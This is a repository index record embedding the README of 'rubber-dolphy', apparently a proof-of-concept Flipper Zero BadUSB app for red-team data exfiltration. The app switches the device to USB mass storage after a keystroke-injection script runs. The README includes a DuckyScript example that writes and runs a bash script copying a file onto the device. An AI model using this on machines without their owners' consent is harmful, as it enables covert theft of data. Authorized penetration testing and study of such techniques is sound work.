{"id":50664894,"url":"https://github.com/carvilsi/rubber-dolphy","last_synced_at":"2026-06-08T05:30:37.923Z","repository":{"id":349968375,"uuid":"1201181314","full_name":"carvilsi/rubber-dolphy","owner":"carvilsi","description":"PoC about Bad USB for FlipperZero with exfiltration capabilities on device via mass storage","archived":false,"fork":false,"pushed_at":"2026-05-30T08:25:48.000Z","size":63678,"stargazers_count":21,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-05-30T10:14:18.108Z","etag":null,"topics":["bad-usb","badusb","data-exfiltration","flipper-zero","flipperzero","pentesting-tools","red-team","rubber-ducky","rubber-ducky-script"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/carvilsi.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-04-04T10:16:00.000Z","updated_at":"2026-05-30T08:25:51.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/carvilsi/rubber-dolphy","commit_stats":null,"previous_names":["carvilsi/rubber-dolphy"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/carvilsi/rubber-dolphy","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carvilsi%2Frubber-dolphy","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carvilsi%2Frubber-dolphy/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carvilsi%2Frubber-dolphy/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carvilsi%2Frubber-dolphy/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carvilsi","download_url":"https://codeload.github.com/carvilsi/rubber-dolphy/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carvilsi%2Frubber-dolphy/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34050225,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-08T02:00:07.615Z","response_time":111,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bad-usb","badusb","data-exfiltration","flipper-zero","flipperzero","pentesting-tools","red-team","rubber-ducky","rubber-ducky-script"],"created_at":"2026-06-08T05:30:32.432Z","updated_at":"2026-06-08T05:30:37.917Z","avatar_url":"https://github.com/carvilsi.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cdiv align=\"center\"\u003e\n\n:broom: CutreLabs presents :broom:\n\nRubber Dolphy\n\nA PoC about BadUSB for FlipperZero with exfiltration capabilities on device via mass storage\n\u003c/div\u003e\n\n# Rubber Dolphy\n\nThe idea is to have a way to copy some data into FlipperZero when using it as **BadUsb** device, to perform data exfiltration. \n\nRight now the project it's in a early code stage (it's just a hack), I tested it on a **Arch Linux** and on a **Windows 11** computer and on a Mac OS Ventura 13.7.8 with an Intel processor also wondering how it works on a new ARM processor.\n\nI have some ideas that I would like to try in order to improve the whole thing and push features to have a more useful and versatile FlipperZero BadUSB device. If I feel that the project has a good welcome, people try it and give support at least with :star: I will ponder continue with this ideas.\n\nFor now image for mass storage capabilities has 4.2 MB and type FAT (12-bit version)\n\n## Demo\n\n### Linux\n\n![Linux PoC](https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/flipper_exfiltration_bad_usb_linux_poc.webp)\n\n### Windows 11\n\n![Windows PoC](https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/flipper_exfiltration_bad_usb_windows_poc.webp)\n\n### MacOS \n\n![MacOS PoC](https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/flipper_exfiltration_bad_usb_macos_poc.webp)\n\n## Install and Run\n\nClone this repo somewhere on your machine. \n\n### Flipper Zero preparation\n\n- Create *rubber_dolphy* folder on *SD Card/apps_data/*\n- Create *msi* folder on *SD Card/apps_data/rubber_dolphy*\n- Copy *rubber-dolphy/mass_storage_img/rdbdsbms.img* to *SD Card/apps_data/rubber_dolphy/msi/*\n\n### Compile and launch it on Flipper Zero\n\nCopy the *rubber_dolphy_app* folder into *applications_user* folder on flipperZero's firmware.\n\nOn the *flipperzero-firmware* folder:\n\n`$ ./fbt launch APPSRC=rubber_dolphy`\n\nRubber-Dolpy FAP will be under *Apps/USB/*\n\n### Upload the FAP\n\nAlternatively to compile and lauch the app, after **completing step FlipperZero preparation**, you can upload the latest *rubber_dolphy.fap* from [releases](https://github.com/carvilsi/rubber-dolphy/releases) to *SD Card/apps/USB/* folder on FlipperZero. \n\nDo not forget to check the sha256sum ;)\n\n### Ducky Scripts\n\nUnder [ducky_scripts_examples folder](https://github.com/carvilsi/rubber-dolphy/tree/main/ducky_scripts_examples) in this repo you'll find examples for Linux, Windows and MacOS. And another simple DuckyScript called *mount_mass_storage_img* to access the mass storage on your laptop and get the copied data.\n\nFor now **Rubber Dolphy** still using the oficial *BadUSB* FlipperZero app assests folder, to deal with *layouts* and to select the *duckyscript* to run, therefore you must upload your duckyscripts to *SD Card/badusb/* folder.\n\n#### How it works\n\nFor now the exfiltration from the victim's machine requires manual action on FlipperZero to perform the copy of the collected data. This is one of the points that I would like improve, trying to skip clicking when the DuckyScript finish.\n\nA new Command called **STORAGE** has been added to the Command Set of [BadUSB File Format](https://developer.flipper.net/flipperzero/doxygen/badusb_file_format.html) in order to allow mass storage mode on FlipperZero once the DuckyScript has been finished. Then on the BadUSB GUI a button called *Exflt* appears. \n\n\u003cdiv align=\"center\"\u003e\n  \u003cp\u003e\n    \u003cimg src=\"https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/badusb_exflt.png\" alt=\"badusb_exfiltration\" \u003e\n  \u003c/p\u003e\n\u003c/div\u003e\n\nWhen clicking down, FlipperZero will exits BasdUSB mode and mounts a mass storage, the expected name of the unit on the threated machine is *MASSSTORAGE*.\n\n\u003cdiv align=\"center\"\u003e\n  \u003cp\u003e\n    \u003cimg src=\"https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/badusb_massstorage.png\" alt=\"badusb_masstorage\" \u003e\n  \u003c/p\u003e\n\u003c/div\u003e\n\n\nThe DuckyScript copies and runs a script that waits until this unit is available on the victims machine, and then copies the data to exfiltrate.\n\nOnce the file was copied to FlipperZero, **click Back button** to exit from *mass storage* mode and change to *basusb* mode. Another DuckyScript could be run again. There is no way to know that the data was already copied into FlipperZero; it's worth to add a feedback to the end of copying process on the DuckyScript. \n\nHere a DuckyScript example of the above described mechanism (bash) from [Linux Example](https://github.com/carvilsi/rubber-dolphy/blob/main/ducky_scripts_examples/exfiltration_linux_poc.txt).\n\n```bash\nREM =================== Exfiltration PoC ===================\n\nREM Command to tell Flipper that will be exfiltration\nREM Could be place at the begining of the file (after the ID if is there)\nSTORAGE\n\nREM Create a bash script to do the exfiltration\nSTRINGLN cat \u003e exfiltration.sh \u003c\u003c EOF\n\nSTRINGLN #!/bin/bash\nSTRINGLN # Create a function to get the Mass Storage path\nSTRINGLN gms(){ ms=\\$(df|awk '/MASSSTORAGE/{print \\$6}');}\n\nSTRINGLN # Repeat until get the Mass Storage path \nSTRINGLN until [ \\`echo \\$ms 2\u003e/dev/null\\` ];do gms;done;\n\nREM Copy the generated file on the Mass Storage\nSTRINGLN cp my_data.txt \\$ms\n\nREM Feedback on finish copying\nSTRINGLN echo done :\\)\n\nSTRINGLN EOF\n\nREM Execute the script\nSTRINGLN sh exfiltration.sh\n\nREM =======================================================\n```\n\nA similar mechanism can be check on [Windows 11 Example](https://github.com/carvilsi/rubber-dolphy/blob/main/ducky_scripts_examples/exfiltration_win11_poc.txt) and for [MacOS](https://github.com/carvilsi/rubber-dolphy/blob/main/ducky_scripts_examples/exfiltration_macos_poc.txt)\n\n## Comments\n\nThe inspiration idea for this PoC came from this [FlipperZero Issue](https://github.com/flipperdevices/flipperzero-firmware/issues/1040)\n\nI combined the code of [FlipperZero BadUSB](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/main/bad_usb) and the one of [flipperzero-good-faps mass_storage app](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/mass_storage)\n\n---\n\n⚠️ ADVISORY: This FlipperZero APP should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.\n\n---\n\nFeedback from usage and contributions are very welcome.\nAlso if you like it, please leave a :star: I would appreciate it ;)\n\nHack The Planet! \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcarvilsi%2Frubber-dolphy","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcarvilsi%2Frubber-dolphy","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcarvilsi%2Frubber-dolphy/lists"}